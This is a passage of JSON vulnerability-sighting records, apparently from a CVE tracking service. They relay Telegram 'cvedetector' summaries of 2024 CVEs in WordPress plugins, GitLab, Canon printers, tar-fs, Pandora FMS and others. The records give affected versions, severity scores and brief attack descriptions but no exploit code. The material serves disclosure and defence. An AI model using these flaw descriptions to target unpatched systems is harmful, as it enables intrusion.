April 29, 2025, 6:15 a.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : The Calculated Fields Form WordPress plugin before 5.2.62 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T10:58:36.000000Z"}, {"uuid": "afd6c1db-072f-4822-a82a-f38e634b328a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12604", "type": "seen", "source": "Telegram/RAyZa2-jQqKDcUc8ntcOJbOSOFzga6q0P0aLj-qOcavDFRM9", "content": "", "creation_timestamp": "2025-03-10T19:39:06.000000Z"}, {"uuid": "d5fd737d-aebe-4b8f-9f68-0476a86c016e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12619", "type": "seen", "source": "https://t.me/cvedetector/21410", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12619 - GitLab CE/EE Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12619 \nPublished : March 28, 2025, 10:15 a.m. | 2\u00a0hours, 4\u00a0minutes ago \nDescription : An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1, allowing internal users to gain unauthorized access to internal projects. \nSeverity: 5.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-28T13:34:10.000000Z"}, {"uuid": "3482f9a0-7547-4280-b07a-2742c57e9621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://t.me/cvedetector/21321", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12905 - \"Tar-fs Path Traversal Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12905 \nPublished : March 27, 2025, 5:15 p.m. | 27\u00a0minutes ago \nDescription : An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.  \n  \nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.8. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-27T19:09:52.000000Z"}, {"uuid": "d64e9d37-e09e-4d1f-95bc-668170b22373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12410", "type": "seen", "source": "https://t.me/cvedetector/21863", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12410 - WordPress Front End Users SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12410 \nPublished : April 2, 2025, 10:15 a.m. | 2\u00a0hours, 2\u00a0minutes ago \nDescription : The Front End Users plugin for WordPress is vulnerable to SQL Injection via the 'UserSearchField' parameter in all versions up to, and including, 3.2.32 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-02T14:59:06.000000Z"}, {"uuid": "fe1d956c-d78c-4138-b3d0-44237457f032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://t.me/cvedetector/16581", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12723 - \"Infility Global WordPress Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12723 \nPublished : Jan. 28, 2025, 6:15 a.m. | 55\u00a0minutes ago \nDescription : The Infility Global WordPress plugin through 2.9.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T08:45:34.000000Z"}, {"uuid": "46f24c84-7821-4e48-ba2d-c62a0401f27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://t.me/cvedetector/16580", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12807 - WordPress Social Share Buttons Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12807 \nPublished : Jan. 28, 2025, 6:15 a.m. | 55\u00a0minutes ago \nDescription : The Social Share Buttons for WordPress plugin through 2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T08:45:33.000000Z"}, {"uuid": "1fede94a-c73c-452e-bdcb-302837c856a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/cvedetector/16568", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12649 - Canon Small Office Multifunction Printers and Laser Printers Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12649 \nPublished : Jan. 28, 2025, 1:15 a.m. | 1\u00a0hour, 53\u00a0minutes ago \nDescription : Buffer overflow in XPS data font processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:48.000000Z"}, {"uuid": "794662eb-9bf8-4d58-8e7b-20c0efe70993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/cvedetector/16567", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12648 - Canon Small Office Multifunction Printers and Laser Printers Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12648 \nPublished : Jan. 28, 2025, 1:15 a.m. | 1\u00a0hour, 53\u00a0minutes ago \nDescription : Buffer overflow in TIFF data EXIF tag processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:44.000000Z"}, {"uuid": "6a9eba76-66e3-4e7d-b639-11b2d05f668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/cvedetector/16566", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12647 - Small Office Multifunction Printers and Laser Printers Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12647 \nPublished : Jan. 28, 2025, 1:15 a.m. | 1\u00a0hour, 53\u00a0minutes ago \nDescription : Buffer overflow in CPCA font download processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T04:34:43.000000Z"}, {"uuid": "37bb74db-c276-42f4-84ee-2219c4589ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12278", "type": "seen", "source": "https://t.me/cvedetector/21742", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12278 - Booster for WooCommerce Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12278 \nPublished : April 1, 2025, 7:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via any location that typically sanitizes data using wp_kses, like comments, in all versions up to, and including, 7.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-01T11:57:31.000000Z"}, {"uuid": "13d135e9-0191-4630-8da0-d45af7e13574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12189", "type": "seen", "source": "https://t.me/cvedetector/21741", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12189 - WDesignKit WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12189 \nPublished : April 1, 2025, 7:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : The WDesignKit \u2013 Elementor & Gutenberg Starter Templates, Patterns, Cloud Workspace & Widget Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom widgets in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-01T11:57:27.000000Z"}, {"uuid": "decfac1c-6243-45ca-98e4-435d3e8e3e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://t.me/cvedetector/20619", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12922 - Altair WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12922 \nPublished : March 19, 2025, 6:15 a.m. | 39\u00a0minutes ago \nDescription : The Altair theme for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check within functions.php in all versions up to, and including, 5.2.4. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:34.000000Z"}, {"uuid": "9434896f-1fa1-4563-93cb-4b5ded708e07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12021", "type": "seen", "source": "https://t.me/cvedetector/21594", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12021 - Coverity Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12021 \nPublished : March 31, 2025, 2:15 p.m. | 39\u00a0minutes ago \nDescription : Coverity versions prior to 2024.9.0 are vulnerable to stored cross-site scripting (XSS) in various administrative interfaces. The impact of exploitation may result in the compromise of local accounts managed by the Coverity platform as well as other standard impacts resulting from cross-site scripting. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-31T17:31:36.000000Z"}, {"uuid": "373bdc3b-47b3-4e16-b694-13527c9b0e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://t.me/cvedetector/20456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12971 - Pandora FMS OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12971 \nPublished : March 17, 2025, 10:15 a.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection.This issue affects Pandora FMS from 700 to 777.6 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-17T13:17:08.000000Z"}, {"uuid": "d9e48fb2-07f0-456d-a830-0bf21571c5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://t.me/cvedetector/20632", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12136 - Elfatek Elektronics ANKA JPD-00028 Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12136 \nPublished : March 19, 2025, 9:15 a.m. | 1\u00a0hour, 51\u00a0minutes ago \nDescription : Missing Critical Step in Authentication vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Authentication Bypass.This issue affects ANKA JPD-00028: through 19.03.2025.  \n  \nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available. \nSeverity: 6.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T12:08:29.000000Z"}, {"uuid": "02493878-6fc0-4147-9b2e-28544a3dffd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://t.me/cvedetector/20629", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12137 - Elfatek Elektronics ANKA JPD-00028 Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12137 \nPublished : March 19, 2025, 9:15 a.m. | 1\u00a0hour, 51\u00a0minutes ago \nDescription : Authentication Bypass by Capture-replay vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Session Hijacking.This issue affects ANKA JPD-00028: through 19.03.2025.  \n  \n  \nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T12:08:27.000000Z"}, {"uuid": "007e9962-6bf4-4c0d-bf9c-77320d181fd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://t.me/cvedetector/20626", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12295 - BoomBox Theme Extensions WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12295 \nPublished : March 19, 2025, 5:15 a.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : The BoomBox Theme Extensions plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.8.0. This is due to the plugin not properly validating a user's identity prior to updating their password through the 'boombox_ajax_reset_password' function. This makes it possible for authenticated attackers, with subscriber-level privileges and above, to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T07:57:42.000000Z"}, {"uuid": "991d1a7d-4223-4b9b-bf28-3e45963644db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://t.me/cvedetector/20611", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12563 - WordPress s2Member Pro Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12563 \nPublished : March 18, 2025, 9:15 p.m. | 1\u00a0hour, 24\u00a0minutes ago \nDescription : The s2Member Pro plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 250214 via the 'template' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T00:26:16.000000Z"}, {"uuid": "097be075-43f6-41fd-83dc-2fa57119edc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12992", "type": "seen", "source": "https://t.me/cvedetector/20450", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12992 - Pandora FMS OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12992 \nPublished : March 17, 2025, 10:15 a.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in a Command vulnerability allows OS Command Injection via RCE.   \n  \nThis issue affects Pandora FMS from 700 to 777.6  \n  \n. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-17T13:17:00.000000Z"}, {"uuid": "df8588b9-d09b-4142-a456-5d0e0f281b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12119", "type": "seen", "source": "Telegram/MXQZagIS9OnBFo4i9lg3Xai5eXW-ccasASAKldM9p2SWjPt6", "content": "", "creation_timestamp": "2025-03-08T16:29:00.000000Z"}, {"uuid": "9d462110-3d1f-4f4e-9aa0-32a6af9d60ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12336", "type": "seen", "source": "https://t.me/cvedetector/20359", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12336 - WordPress WC Affiliate - Unauthenticated Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12336 \nPublished : March 15, 2025, 4:15 a.m. | 1\u00a0hour, 35\u00a0minutes ago \nDescription : The WC Affiliate \u2013 A Complete WooCommerce Affiliate Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'export_all_data' function in all versions up to, and including, 2.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose sensitive affiliate data, including personally identifiable information (PII). \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-15T06:55:50.000000Z"}, {"uuid": "2f4d7809-788e-4998-80d9-8d8559db4850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12245", "type": "seen", "source": "https://t.me/cvedetector/20341", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12245 - Apache Struts Blind SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12245 \nPublished : March 14, 2025, 6:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : Logout functionality contains a blind SQL injection that can be exploited by unauthenticated attackers.\u00a0Using a time-based blind SQLi technique the attacker can disclose all database contents. Account takeover is a potential outcome depending on the presence or lack thereof entries in certain database tables. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T20:53:52.000000Z"}, {"uuid": "c70c5c7e-541b-4b27-864d-42f5ad2379fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12019", "type": "seen", "source": "https://t.me/cvedetector/20340", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12019 - Adobe Document Server Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12019 \nPublished : March 14, 2025, 6:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : The API used to interact with documents in the application contains a flaw that allows an authenticated attacker to read the contents of files on the underlying operating system. An account with \u2018read\u2019 and \u2018download\u2019 privileges on at least one existing document in the application is required to exploit the vulnerability.\u00a0Exploitation of this vulnerability would allow an attacker to read the contents of any file available within the privileges of the system user running the application. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T20:53:51.000000Z"}, {"uuid": "790576ab-cefa-44c4-82b7-91598e7f1126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12020", "type": "seen", "source": "https://t.me/cvedetector/20338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12020 - LogicalDOC Enterprise Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12020 \nPublished : March 14, 2025, 6:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : There is a reflected cross-site scripting (XSS) within JSP files used to control application appearance. An unauthenticated attacker could deceive a user into clicking a crafted link to trigger the vulnerability.\u00a0Stealing the session cookie is not possible due to cookie security flags, however the XSS may be used to induce a victim to perform on-site requests without their knowledge.  \n  \nThis vulnerability only affects LogicalDOC Enterprise. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T20:53:50.000000Z"}, {"uuid": "a685993b-d0df-423f-9d16-889cf58c7832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12114", "type": "seen", "source": "Telegram/kaNleqMgU56cumemK-4CcRekin1DWBZNtSih4DQiBVp8gs2l", "content": "", "creation_timestamp": "2025-03-08T16:29:00.000000Z"}, {"uuid": "92e05e65-964f-4182-8cce-f465aa118581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12810", "type": "seen", "source": "https://t.me/cvedetector/20288", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12810 - The JobCareer | Job Board Responsive WordPress Theme Unauthenticated Remote Code Execution and Data Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-12810 \nPublished : March 14, 2025, 12:15 p.m. | 1\u00a0hour, 11\u00a0minutes ago \nDescription : The JobCareer | Job Board Responsive WordPress Theme theme for WordPress is vulnerable to unauthorized access, modification, and loss of data due to a missing capability checks on multiple functions in all versions up to, and including, 7.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files, generate backups, restore backups, update theme options, and reset theme options to default settings. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T15:02:11.000000Z"}, {"uuid": "eedac3fd-e42e-4437-9379-18e912275a2f", "vulnerability_lookup_origin": 